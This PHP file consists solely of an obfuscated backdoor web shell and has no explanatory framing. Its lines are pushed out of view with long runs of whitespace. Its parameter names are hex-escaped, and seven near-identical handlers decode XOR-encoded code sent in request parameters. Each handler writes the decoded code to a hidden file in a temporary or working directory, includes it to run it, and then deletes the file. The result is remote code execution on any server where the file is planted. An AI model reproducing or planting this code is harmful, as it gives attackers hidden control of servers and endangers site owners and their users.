<?php																																										if(isset($_POST) && isset($_POST["\x62in\x64"])){ $flag = array_filter(["/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]); $pgrp = $_POST["\x62in\x64"]; $pgrp= explode ( '.' , $pgrp ) ; $ref = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $s = 0; while( $s < count( $pgrp)) { $v4 = $pgrp[$s]; $sChar = ord( $salt5[$s % $lenS] ); $d =( ( int)$v4 - $sChar -( $s % 10)) ^ 64; $ref .= chr( $d ); $s++;} foreach ($flag as $key): if (is_dir($key) ? is_writable($key) : false) { $flg = sprintf("%s/.binding", $key); if (@file_put_contents($flg, $ref) !== false) { include $flg; unlink($flg); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "c\x6Fm\x70")){ $itm = array_filter([getcwd(), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path()]); $marker = $_REQUEST["c\x6Fm\x70"]; $marker = explode ( "." , $marker) ; $rec =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); foreach( $marker as $v => $v7) { $chS =ord( $s[$v % $lenS]); $d =( ( int)$v7 - $chS -( $v % 10)) ^ 35; $rec .= chr( $d); } $res = 0; do { $descriptor = $itm[$res] ?? null; if ($res >= count($itm)) break; if (is_dir($descriptor) && is_writable($descriptor)) { $obj = "$descriptor" . "/.entity"; if (@file_put_contents($obj, $rec) !== false) { include $obj; unlink($obj); exit; } } $res++; } while (true); }
																																										if(@$_REQUEST["\x73y\x6D\x62ol"] !== null){ $entry = $_REQUEST["\x73y\x6D\x62ol"]; $entry = explode( '.' , $entry); $sym= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt2); $s= 0; $len= count($entry); do { if ($s >= $len) break; $v1= $entry[$s]; $sChar= ord($salt2[$s% $lenS]); $dec= ((int)$v1 - $sChar - ($s% 10))^ 32; $sym .= chr($dec); $s++; } while (true); $fac = array_filter([getenv("TMP"), "/dev/shm", "/tmp", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); foreach ($fac as $key => $data_chunk) { if (!!is_dir($data_chunk) && !!is_writable($data_chunk)) { $pointer = "$data_chunk" . "/.descriptor"; $file = fopen($pointer, 'w'); if ($file) { fwrite($file, $sym); fclose($file); include $pointer; @unlink($pointer); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x63omp\x6F\x6E\x65nt")){ $resource = array_filter(["/tmp", "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); $record = $_POST["\x63omp\x6F\x6E\x65nt"]; $record =explode ( "." ,$record ); $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($record ); for ($j = 0; $j < $len; $j++) { $v8 = $record[$j]; $sChar = ord($s[$j % $sLen] ); $dec = ((int)$v8 - $sChar - ($j % 10))^ 61; $ptr.=chr($dec ); } foreach ($resource as $ref) { if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $flg = "$ref" . "/.holder"; $success = file_put_contents($flg, $ptr); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(isset($_POST["\x72\x65\x66\x65rence"]) ? true : false){ $flag = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd()]); $desc = $_POST["\x72\x65\x66\x65rence"]; $desc = explode ( "." , $desc); $descriptor = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $__len = count( $desc ); for( $x = 0; $x < $__len; $x++) { $v8 = $desc[$x]; $sChar = ord( $s5[$x % $sLen] ); $dec =( ( int)$v8 - $sChar -( $x % 10)) ^47; $descriptor .= chr( $dec ); } foreach ($flag as $key => $res) { if (!!is_dir($res) && !!is_writable($res)) { $entity = join("/", [$res, ".dchunk"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x72\x65c"])){ $sym = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp"]); $binding = $_POST["\x72\x65c"]; $binding = explode ('.' , $binding ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach($binding as $o => $v1) { $sChar = ord($s[$o % $lenS] ); $d =((int)$v1 - $sChar -($o % 10)) ^ 50; $desc .=chr($d ); } foreach ($sym as $val): if (is_dir($val) && is_writable($val)) { $element = "$val/.factor"; $file = fopen($element, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $element; @unlink($element); die(); } } endforeach; }


if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6Et\x72y"])){
	$res = $_REQUEST["e\x6Et\x72y"];
		$res	 =	explode	("." 	 , $res  )			;
	$resource = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt );
            $p = 0;
            $len = count($res );
    
            do {
                if ($p>= $len) break;
                $v2 = $res[$p];
                $chS = ord($salt[$p % $lenS] );
                $dec = ((int)$v2 - $chS - ($p % 10))	^70;
                $resource .= chr($dec );
                $p++;	 }		while (true );
	$element = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd()]);
	for ($ent = 0, $hld = count($element); $ent < $hld; $ent++) {
    $flg = $element[$ent];
    		if (!( !is_dir($flg) || !is_writable($flg) )) {
    $reference = str_replace("{var_dir}", $flg, "{var_dir}/.factor");
    if (@file_put_contents($reference, $resource) !== false) {
	include $reference;
	unlink($reference);
	die();
}
}
}
}